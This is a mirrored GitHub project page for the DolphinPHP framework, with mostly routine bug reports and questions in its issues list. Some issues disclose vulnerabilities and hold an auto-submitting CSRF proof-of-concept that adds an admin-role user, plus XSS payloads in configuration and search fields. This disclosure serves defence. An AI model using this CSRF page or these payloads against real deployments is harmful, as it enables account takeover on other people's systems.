caiweiming / dolphinphp Goto Github PK

View Code? Open in Web Editor NEW

355.0 355.0 133.0 17.07 MB

海豚PHP——基于ThinkPHP5.1.41LTS的快速开发框架

Home Page: http://www.dolphinphp.com

License: Other

PHP 86.35% Smarty 0.32% HTML 5.65% Java 0.13% CSS 6.58% PLpgSQL 0.04% Less 0.16% SCSS 0.77%

dolphinphp's People

Contributors

Stargazers

Watchers

Forkers

garfieldtom jerrycyl jzxyouok dlpc xazzz tangbotaohn semoons lizz89 hottredpen dreamboating diycp byesoft live0717 im286er jimchenwyu dream-seeker jacklin lyndon1115 newtalk royalwang cbw1820446 resthinkphp elfevil easonshaw hu19891110 peisheng scalerone ppker enng0227 xiejunyu liuzhangfu wangyueqiang kooy baiwenyong tangyiyong livyli lanxianhui mech4nics cary929 chenyongze looknd sealoner yehuocode ymnl007 maxossc thinknull chahualao yanhuizen zleicx fork-project-source cbor88 baitongda zcy0776 ningj123 heycms marvin-liu-sx equalll 18284136491 junxiaopang gantoday-collection kunx-edu guoyawei madeitcwang l396 basulee gitchenze zhangminglong hi-noikiy yangweijie nolilac linlwqq 16it nowphp2018 a6491090699 jackcnn lightrainyuan hetoo juanxiaoluo anqianggit shiqwang chenzhisong maxmansx jgglg djj128 php-xyf ssslin linhong1994 anphp webboss1111 dikiking miwei230 zenmboy evalor keacefull phpmvc cncoke wshcoding baitcenter iuyes jonket

dolphinphp's Issues

Add User Function with CSRF vulnerability

The Add User form without csrf token.
Hacker can use it to add a new user.
Spoofing an administrator to open this page :

<html>
  <body>
    <form action="http://192.168.52.130/public/admin.php/user/index/add.html" method="POST" id="test">
      <input type="hidden" name="username" value="hackertest" />
      <input type="hidden" name="nickname" value="hackertest" />
      <input type="hidden" name="role" value="1" />
      <input type="hidden" name="email" value="qq&#64;aixinwei&#46;wang" />
      <input type="hidden" name="password" value="testtest" />
      <input type="hidden" name="mobile" value="13311111111" />
      <input type="hidden" name="avatar" value="" />
      <input type="hidden" name="status" value="1" />
    </form>
<script>
    var f=document.getElementById("test");
    f.submit();
</script>
  </body>
</html>

suggestion for repairing:add csrf token to the html form.

后台非超级管理员删除下级角色用户失败问题

/application/user/admin/Index.php 文件
532行 $this->request->post(['ids'=> $user_list]);
报错 Array to string conversion
TP5.1已经不支持数组传参修改请求值了。

Zbuilder挺不错的，可以试下将它开源出去，让更多的人来完善它。

DolphinPHP v1.5.1 has a vulnerability, Stored Cross Site Scripting(XSS)

version:1.5.1
Vulnerability location:Background - > System - > system function - > configuration management.

Add a new configuration,and insert payload in the configuration title
payload: t"><img src=x onerror=alert(1)>

Save and refresh the page. Pop up window.

payload: <img src=x onerror=alert("xss")>

When you visit this page, a pop-up window will pop up.

好作品加油

好东西自会有人拥护，不要被别人干扰。

fixedLeft固定列确定生效么？

地址：https://www.kancloud.cn/ming5112/dolphinphp/619103

我下载最新版本，设置fixedLeft，添加多列，使用x轴滚动条，没有发现左侧列固定。

一、是否是我理解错了它的用处
二、是否是我的写法有错误
三、使用它有什么注意项
四、是否能写一个完整体现效果的demo

你好，问个zbuild构建table时，在搜索关键字且当前页不为第1页时会搜索不到结果

你好，问个zbuild构建table时，在搜索关键字且当前页不为第1页时会搜索不到结果。

例：
使用zbuild构建当前table，翻页到第6页(大于第一页就行)，然后，搜索任何一个关键字，会搜索不到，如果将url中的page=xxx改为page=1就可以搜索到了。

这是一个小bug吧，当进行搜索时，要将当前的page重置为1才能有结果。这个怎样处理？？？

后台分页table，每页显示数量未为空时提交报错。

application/admin/controller/Admin.php 155行

抄袭了零云lingyun.net很多东西，注意版权。

多级分类列表都显示在一块

比如商品多级分类列表添加多级之后列表里都显示出来了看不出层级关系

自动完成和zbuilder:table的callback冲突

public function setIpAttr(){
return request()->ip();
}
return ZBuilder::make('table')
->addColumns([
['ip','ip地址','callback',function($value){
// 这里的$value 是获取不到值的
return 456;
}],
->fetch();

绝对支持

质量很高! 良心作品

进入后台首页一直302

我用的 valet 开发环境，进入后台就一直 302 跳转，表示很无语~

未定义数组索引model $where['model']一直都不存在

DolphinPHP/application/cms/admin/Document.php

Line 223 in 77dd8ee

 $columns = Db::name('cms_column')->where(['model' => $where['model']])->whereOr('model', $info['model'])->order('pid,id')->column('id,name,pid'); 

建议多release一些版本。

现在就一个版本

海豚PHP后台存在SSRF

在add.html中，如果使用到图标管理插件，在链接出存在SSRF

监听setTrigger 应该加一个清除控制

有的时候切换显示隐藏并不需要清空隐藏的表单值，

/**
* 设置触发
* @param string $trigger 需要触发的表单项名，目前支持select（单选类型）、text、radio三种
* @param string $values 触发的值
* @param string $show 触发后要显示的表单项名，目前不支持普通联动、范围、拖动排序、静态文本
* @param bool $is_clear 是否清除隐藏表单的值，默认清除
* @author 蔡伟明
* @return $this
*/
public function setTrigger($trigger = '', $values = '', $show = '', $is_clear = true)

备份数据库失败

创建了视图，会被显示在列表里面。
但备份逻辑应该是只针对table的，若选中视图备份，会失败。

问下后台密码是多少？

保存插件配置信息，表单token也保存进去了

DolphinPHP/application/admin/controller/Plugin.php

Line 434 in 7faeb83

$data = $this->request->post();

bug提交-快速添加密码不能加密

/application/admin/controller/Admin.php
add 方法,password类型保存的时候没有加密,建议加上
foreach ($form['items'] as $item) {
if($item[0]=='password'){
$data[$item[1]]=Hash::make((string)$data[$item[1]]);
}
}

config 加载调整

行为这块默认会在 app_begin 执行 config 会导致动态配置的config 无效.

*情景是这样的如果我后台开启了水印,但是部分上传不需要水印我可以动态关闭 upload_thumb_water 但是执行行为以后每次到attachment 都会重新读取配置导致 config('upload_thumb_water',0) 无效

图片上传bug

当设置缩略图时，并且上传图片过大（测试图片为894K和2.1M），会上传不成功，复现率100%

DolphinPHP v1.5.1 vulnerability, Reflected Cross Site Scripting(XSS)

version:1.5.1
Vulnerability location:Background - > System - > system function - > Attachment management.
Background - > System - > system function - > system log.
Background - > System - > system function - > Behavior management.

Influence parameters:search_field
payload:test"><img src=x onerror=alert("xss")>

DolphinPHP v1.5.1 has a vulnerability, Stored Cross Site Scripting(XSS)

version:1.5.1
Vulnerability location:Background - > System - > system function - > configuration management.

Add a new configuration,and insert payload in the configuration title
payload: t">

Save and refresh the page. Pop up window.

payload: <img src=x onerror=alert("xss")>

When you visit this page, a pop-up window will pop up.